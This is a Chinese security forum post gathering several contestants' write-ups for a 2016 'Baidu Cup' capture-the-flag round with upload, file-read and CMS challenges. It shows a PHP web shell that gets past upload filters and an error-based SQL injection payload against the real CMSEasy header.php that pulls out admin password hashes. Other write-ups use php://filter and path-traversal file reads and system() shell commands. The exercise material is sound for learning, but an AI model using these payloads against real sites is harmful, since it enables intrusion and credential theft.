用户
搜索
  • TA的每日心情
    开心
    2016-10-10 15:25
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    版主

    Rank: 7Rank: 7Rank: 7

    41

    主题

    152

    帖子

    918

    魔法币
    收听
    0
    粉丝
    22
    注册时间
    2016-7-11

    美女勋章

    发表于 2016-9-6 14:46:11 1132479
    本帖最后由 一口盐汽水 于 2016-9-6 15:08 编辑

    “百度杯”九月第一场圆满结束,但是我们的赛题依旧可以撸,而且为了方便大家撸题,
    表姐特此放出比赛选手的Writeup供大家学习姿势。


    0X01 照例放上第一名的撸题攻略
    by:C26
    【upload】
    QQ截图20160906131309.jpg

    上传成功后会返回路径
    http://baf3f9e2af5e433fad1a5d7a9342a23a04b9ad23353e4766.game.ichunqiu.com/u/x.php
    [AppleScript] 纯文本查看 复制代码
    测试<?会被替换掉导致无法执行 换另一种方式>,<script language="php”>echo `$_REQUEST[v]`;</script>[/size][/align][align=left][size=4]发现php会被处理掉,转换一下大小写 发现可以执行<script language="phP">echo `$_REQUEST[v]`;</script>
    然后直接cat貌似不好使,先pwd获取绝对路径,然后通过绝对路径来读取flag。

    图片2.png
    QQ截图20160906132019.jpg

    【YeserCms】
    通过一些静态文件可以确定是cmseasy改的
    http://localhost/Cmseasy/celive/live/header.php
    ---------------------------------------------------------------------------------------------
    postdata:
    [AppleScript] 纯文本查看 复制代码
     [/size][/align][align=left][size=4]xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C[/size][/align][align=left][size=4]%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid %2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT[/size][/align][align=left][size=4]%2528concat %2528username%252C%2527%257C%2527%252Cpassword %2529%2529%2520from%2520cmseasy_user [/size][/align][align=left][size=4]%2529%252C1%252C32%2529%252C0x5d %2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL[/size][/align][align=left][size=4]%252CNULL%252CNULL%2529--%2520</q></xjxquery>[/size][/align][align=left][size=4]根据语句报错改一改表前缀[/size][/align][align=left][size=4]xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C[/size][/align][align=left][size=4]%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid %2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT[/size][/align][align=left][size=4]%2528concat %2528password%2529%2529%2520from%2520yesercms_user %2529%252C1%252C32%2529%252C0x5d [/size][/align][align=left][size=4]%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL %252CNULL%252CNULL[/size][/align][align=left][size=4]%2529--%2520</q></xjxquery>

    图片5.png

    ff512d4240cbbdeafada404677ccbe6a -> Yeser231

    图片6.png

    进入后台之后试了模板,修改文件上传类型都不可行,貌似没法update 搞了挺久没法shell 尝试读取文件。
    模板-- 当前模板编辑

    QQ截图20160906133144.jpg

    看着有些晕 即从官方下载源代码 定位到对应函数
    QQ截图20160906133201.jpg

    听见当的字符替换 然后进入到file_get_contents        json,下载payload
    &id=#../../flag.php
    QQ截图20160906133209.jpg

    【code】
    打开发现是一处文件读取,然后将读取的内容以data协议+base64编码显示出来,读部分文件发现貌似有过滤东西
      读取index.php base64解密
    [PHP] 纯文本查看 复制代码
    <?php[/size][/align][/align][align=center][align=left][size=4]/**[/size][/align][/align][align=center][align=left][size=4]*Created by PhpStorm.[/size][/align][/align][align=center][align=left][size=4]*Date: 2015/11/16[/size][/align][/align][align=center][align=left][size=4]*Time: 1:31[/size][/align][/align][align=center][align=left][size=4]*/ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg']))[/size][/align][/align][align=center][align=left][size=4]header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg'];[/size][/align][/align][align=center][align=left][size=4]echo '<title>file:'.$file.'</title>';[/size][/align][/align][align=center][align=left][size=4]$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file);[/size][/align][/align][align=center][align=left][size=4]$txt = base64_encode(file_get_contents($file));[/size][/align][/align][align=center][align=left][size=4]echo "<img src='data:image/gif;base64,".$txt."'></img>";[/size][/align][/align][align=center][align=left][size=4]/*[/size][/align][/align][align=center][align=left][size=4]* Can you find the flag file?[/size][/align][/align][align=center][align=left][size=4]*[/size][/align][/align][align=center][align=left][size=4]*/[/size][/align][/align][align=center][align=left][size=4]?>
    之后去google搜了一下 找到相关资料 用解密脚本跑出来多个值,之后在burp中跑一下
    QQ截图20160906134332.jpg
    QQ截图20160906134341.jpg
    QQ截图20160906134349.jpg


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    0X02  其他选手的精彩思路分享
      by:ohlinge
    【upload
    先随意上传一个图片, burpsuit 看到返回有路径信息;
    直接写出一个 php 的一句话木马:
    QQ截图20160906135208.jpg
    发现上传不了 php 文件后缀,再测试下 php3/php4/php5 也是禁止上传,各种大小写平凑也是不行,看来不好突破呀!上网查查,还有包括 phtml 也可在 php 容器下执行,但是然并卵,还是禁止的。试了下.p3 等无意义后缀,发现可以上传,确定为黑名单。再找了下,貌似 pht 也可以执行,抱着试一试的态度试了一下,成功上传!新的问题出现了。 (<?)和(php)这两个关键字符会被过滤掉,这下好了,貌似不行了。后来想到 seay 的书上讲到<script language=”php” >也是可以的执行 php 代码的。试了下,看到 language 里面的 php 又被过滤掉了,改成 PHP 可以了。上传成功,一句话菜刀链接之,然而我过狗菜刀也是 not allow,想想主办方也不会让你拿到 shell 吧!既然根目录下面有 flag.php,那么直接使用文件包含不就得了?

    QQ截图20160906135252.jpg
    然后请求方式设为:/u/1.pht?id=php://filter/convert.base64-encode/resource=../flag.php利用 php 伪协议读取到原本看不到 flag 的 flag.php 的源码:

    QQ截图20160906135334.jpg
    解密得到 flag.php 源码,成功拿到 flag:
    QQ截图20160906135414.jpg


    【Code
    这个题的官方提示就两个字,可以想象,脑洞估计不是一般的大!在做完上一道后的好长时间内,都没有做出来这道,题,卡在了 index.php 源码里面的 config.php.想象着flag 就在 config.php 里面……然而并没有卵用!后来听说是上次 Xnuca WEB 赛前指导的一道原题,去看了下解题思路。思路大概是一样的,变化不大。首先是 index.php?jpg=hei.jpg,可以知道是一个文件包含,于是包含了 index.php:
    QQ截图20160906135514.jpg
    把后面的 base64 解密出来得到 index.php 源码
    QQ截图20160906135524.jpg

    起初就卡在了 config.php 哪里,以为饶过了就可以了,但是这个是绕不过的。其实是该考虑到 phpstorm 软件会产生./idea 文件夹,然后访问 .idea/workspace.xml 得到这个 xml 文件看到除了 index.php/config.php 之外,还有一个 fl3g_ichuqiu.php 文件,然后直接访问这个文件, Burpsuit 截断,看到ookie 里面多了一个 user 字段,一个 base64 加密的字段。同时,为了搞清楚 fl3g_ichuqiu.php 文件源码,需要用到上面的文件包含。这里注意“ _”会被源码里面的正则过滤掉,而 config 哪里刚好可以补上,所以访问链接为:index.php?jpg=fl3gconfigichuqiu.php 。同样解密后得到源码:

    QQ截图20160906135731.jpg

    可以看到 cookie user 字段解密结果为 system 的时候,可以 echo 出 flag。这里用之前写出来的一个 php 脚本来计算出 16 种不同的 base64 加密值,然后用 Burpsuit Intruder 暴力枚举。脚本 poc 如下:

    QQ截图20160906135803.jpg

    ss 第一个参数为 guest 用户的加密 user 字段,即下图;
    QQ截图20160906135833.jpg


    【YeserCMs
    一个没有听说过的 cms,估计也就是伪装的 CMS 系统。后来看到了评论框。知道了是 cmseasy:
    QQ截图20160906135946.jpg

    于是在网上找了些 cmseasy 的相关漏洞,验证了几个后最后发现这个是可以用的:/celive/live/header.php 存在的注入漏洞, POST 提交注入字符,得到了管理员账号及密码 hash,账号:admin,解密后的密码为 Yeser231成功进入后台!接下来,尝试了网上已经爆出的各种 easycms 后台 Getshell 种种的……最终都以失败告终 。 最 后 在 模 板 编 辑 那 里 :/index.php?case=template&act=fetch&admin_dir=admin&site=default提交 post 数据 id 变量存在文件包含成功包含到根目录下的 flag.php 文件内容

    QQ截图20160906140059.jpg

      by:idLCmp
    【upload】
    这道题就是一道简单的文件上传绕过。首先用 00 截断直接截断上传后的文件名。
    QQ截图20160906140331.jpg

    将这个空格对应的十六进制 20 改为 00成功截断;.jpg 得到http://45820ad6a482475b8c7b91768 ... qiu.com/u/test2.php
    但是不能执行, 通过上传 txt 判断得到,上传对内容过滤了<?和 php,这里 php 可以用大小写绕过, <?这个考虑了很久,一开始以为是短标签,用类似 asp 的<%%>绕过,但是服务器并没有开启这个功能,后来想到可以用<script language="pHp">这样来绕过。于是上传
    QQ截图20160906140423.jpg
    拿菜刀连接成功,得到flag:
    QQ截图20160906140513.jpg
    【Code】
    QQ截图20160906140639.jpg
    [PHP] 纯文本查看 复制代码
    <?php[/size][/align][align=left][size=4]/**[/size][/align][align=left][size=4]* Created by PhpStorm.[/size][/align][align=left][size=4]* Date: 2015/11/16[/size][/align][align=left][size=4]* Time: 1:31[/size][/align][align=left][size=4]*/[/size][/align][align=left][size=4]header('content-type:text/html;charset=utf-8');[/size][/align][align=left][size=4]if(! isset($_GET['jpg']))[/size][/align][align=left][size=4]header('Refresh:0;url=./index.php?jpg=hei.jpg');[/size][/align][align=left][size=4]$file = $_GET['jpg'];[/size][/align][align=left][size=4]echo '<title>file:'.$file.'</title>';[/size][/align][align=left][size=4]$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);[/size][/align][align=left][size=4]$file = str_replace("config","_", $file);[/size][/align][align=left][size=4]$txt = base64_encode(file_get_contents($file));[/size][/align][align=left][size=4]echo "<img src='data:image/gif;base64,".$txt."'></img>";[/size][/align][align=left][size=4]/*[/size][/align][align=left][size=4]* Can you find the flag file?[/size][/align][align=left][size=4]*[/size][/align][align=left][size=4]*/[/size][/align][align=left][size=4]?>
    看代码过滤了 config,然后试了一下发现有 config.php 这个文件,那初步判断 flag 应该就在 config.php 这个页面里,需要读出来,尝试绕过。正则只允许输入 0-9 a-z A-Z . ,然后config 又被过滤成了_,一开始以为很简单大小写就绕过了,但是发现服务器是 linux 的,大小写敏感。 没有办法绕过,但是代码注释里有 phpstorm 的注释,说明是 Phpstorm 编写的, 可以尝试访问.idea 文件夹, 发现果然有这个文件夹,根据自己本地的文件,打开
    workspace.xml
    QQ截图20160906140815.jpg
    QQ截图20160906140834.jpg
    在这里找到了文件列表, 其中有个 fl3g_ichuqiu.php 的文件。访问后只有一个表情,用 index.php 读取他的源码,这里涉及到文件名有一个下划线会
    被正则表达式过滤,但是 config 这个词会被转义成_,所以可以输入 fl3gconfigichuqiu.php来读取。
    QQ截图20160906140917.jpg
    在这里找到了文件列表, 其中有个 fl3g_ichuqiu.php 的文件。访问后只有一个表情,用 index.php 读取他的源码,这里涉及到文件名有一个下划线会被正则表达式过滤,但是 config 这个词会被转义成_,所以可以输入 fl3gconfigichuqiu.php来读取
    QQ截图20160906141007.jpg
    QQ截图20160906141028.jpg
    【YseerCMs】
    Cms 这道题一开始以为是 fckeditor,但是后来发现没有写入权限,上传什么都是 404.只好返回头看 cms。利用 inurl:index.php?case=archive&act=show&aid 在网上找,发现是 cmseasy,然后查cmseasy 的漏洞,发现这个 cms 简直被日穿了,各种漏洞,只好一个一个试,但是发现基本上不是被补掉了,就是页面删掉了。最后找到一个可以用的注入, 是 celive/live/header.php 页面的 xpath 注入
    QQ截图20160906141158.jpg
    Md5 解密得到密码 Yeser231。进入后台后, 用网上现有的办法无法拿到 shell,因为没有写入权限,但是在编辑模板的地方发现了一个任意文件读取漏洞,需要配合 burpsuite 抓包。
    QQ截图20160906141248.jpg
    0X03 精(dou)(bi)(shen)细(jing)的思路分享
      by:Amy_Dan
    (PS :表姐表示像是看完了一部年度好来屋精彩大戏的赶脚!但是这位少侠敢于吐槽敢于自黑的精神深深打动了表姐,特此贴上希望能够打动更多的人)

    【Upload】
    [AppleScript] 纯文本查看 复制代码
    想怎么传就怎么传,就是这么任性。[/size][/align][align=left][size=4]tips:flag 在 flag.php 中
    一个随便上传任意文件的 PHP 和一个提示。我是有点懵逼的。到底要干嘛?
    u=3437910602,3046093630&amp;fm=21&amp;gp=0.jpg
    首先我去访问了一下 flag.php,是这样的:
    QQ截图20160906142120.jpg
    我去,你在逗我?where?where?我瞎了吗?
    u=4226951647,923264936&amp;fm=21&amp;gp=0.jpg
    得,没卵用,估计藏在这个 php 里。
    index.jpg
    那就取试一下这个上传文件吧。唉,还挺好用,没骗我,PHP 文件都可以传。
    index123.jpg
    以前只接触过文件上传绕过,这样开放让我传还真不习惯。我能传什么?总不能用菜刀连吧。我没试过,估计这种肯定不能让你连的。
    国际惯例,抓包分析
    QQ截图20160906143010.jpg
    QQ截图20160906143048.jpg
    QQ截图20160906143120.jpg
    简直雪中送炭呀!爱死谷歌跟 GitHub。这是 2015 mma ctf (这是个啥)的writeup。作者可能是修改以前的题目。(你得意的笑声表姐隔着屏幕都听到啦)
    QQ截图20160906143325.jpg


    这样应该就可以了。文件位置/u/amydan.php访问可以看到 Hello World!这样 php 脚本应该就可以用了。
    然后传其他命令呗,比如系统命令,文件查看命令。Linux 下的系统命令可以直接用的。
    [AppleScript] 纯文本查看 复制代码
    sysTem("rm ph"."p_errors.log");[/align]
    [align=left]echo file_get_contents("ph"."p_errors.log");[/align]
    [align=left]echo system("cd ../ ; ls ;grep 'flag' flag.ph"."p");[/align]
    [align=left]echo file_get_contents("../flag.p"."hp");


    可以看到,只要出现 php 字符的地方我都是把它拆分了。因为会过滤。一个小插曲。服务器自动生成了 p_errors.log 这个文件,是 php 脚本执行的错误提示。经过分析,会自动过滤所有的 php 字符。刚开始总感觉他是有限次过滤php,构造多个 php 字符串就可以了
    于是我做了这些。严肃脸,不许笑!!!!
    表姐路人脸围观并向你抛去一串哈哈哈哈哈哈哈哈哈.mp3
    QQ截图20160906143639.jpg
    拼命构造诸如 pphhphhp 这种形式,经过上图这么多次尝试,发现,我去,他会把所有 php 都过滤掉,只要你有 php,我就过滤!
    妈的(表姐友情提示请文明用语)不是这条路。然后突然就反应过来是把 php 字符串拆开来。果然可以了。
    我就回头去查看 flag.php。鸡贼啊,还不在一个文件夹下。
    我看一个 writeup 是用 file_get_contents()函数找的,就用这种形式找。
    [AppleScript] 纯文本查看 复制代码
    echo file_get_contents("../flag.p"."hp");
    没反应 WTF?我在本机执行是可以这样的唉?难道又有什么猫腻?算了换条路吧
    Linux grep 查找命令。
    [AppleScript] 纯文本查看 复制代码
    echo system("egrep -rnis 'MMA{' /");
    刚开始我是用这个类似在所有找的,结果服务器炸了。浏览器炸了

    u=2011695780,2092022039&amp;fm=116&amp;gp=0.jpg
    唉我去,直接在 flag.php 找吧!!
    [AppleScript] 纯文本查看 复制代码
    echo system("cd ../ ; ls ;grep 'flag' flag.ph"."p"
    ---------------------------------------------------------------------------------------------------------------------------------------------------
    至此,全剧终
    导演+编剧+主演==Amy_Dan
    摄影+后期+配音==表姐
    感谢大家的观看!!!
    index1222222.jpg

    图片9.png
    QQ截图20160906141828.jpg
    QQ图片20160325111503.jpg
    我仿佛隔着屏幕听到了大表姐说我逗比神经
    使用道具 举报 回复
    发表于 2016-9-6 19:33:58
    卧槽,writeup上榜了
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-9-6 20:12:05
    感觉第一名writeup写得太水,POC怎么写出来的没讲清楚。。
    使用道具 举报 回复
    发表于 2016-9-7 14:22:05
    Amy_Dan 发表于 2016-9-6 18:34
    我仿佛隔着屏幕听到了大表姐说我逗比神经

    我(ni)什(shi)么(dou)都(bi)没(shen)说(jing)=======
    不过不得不说,表哥的writeup深得朕心啊,望再接再厉===
    使用道具 举报 回复
    发表于 2016-9-9 16:17:21
    那啥,upload题目的write都行不通了,应该是被waf拦了- -···
    麻烦请不要增加难度好吗···都能注入PHP代码了,还要拦截特定的东西···
    使用道具 举报 回复
    发表于 2016-9-10 15:57:41
    wwwww 发表于 2016-9-9 16:17
    那啥,upload题目的write都行不通了,应该是被waf拦了- -···
    麻烦请不要增加难度好吗···都能注入PHP ...

    我错了
    使用道具 举报 回复
    发表于 2016-9-13 13:29:32
    大表姐这风格我喜欢
    使用道具 举报 回复
    发表于 2016-9-18 15:02:28
    涨姿势了
    使用道具 举报 回复
    发表于 2016-10-25 11:03:56
    我只想知道Base64都从哪里解得码然后可以那么清楚的出来。。
    使用道具 举报 回复
    发表于 2016-12-29 10:30:37
    樊帅宇 发表于 2016-10-25 11:03
    我只想知道Base64都从哪里解得码然后可以那么清楚的出来。。

    请问知道了吗?
    使用道具 举报 回复
    yeserCMS那个怎么注入不出来,难道是改过啦?
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册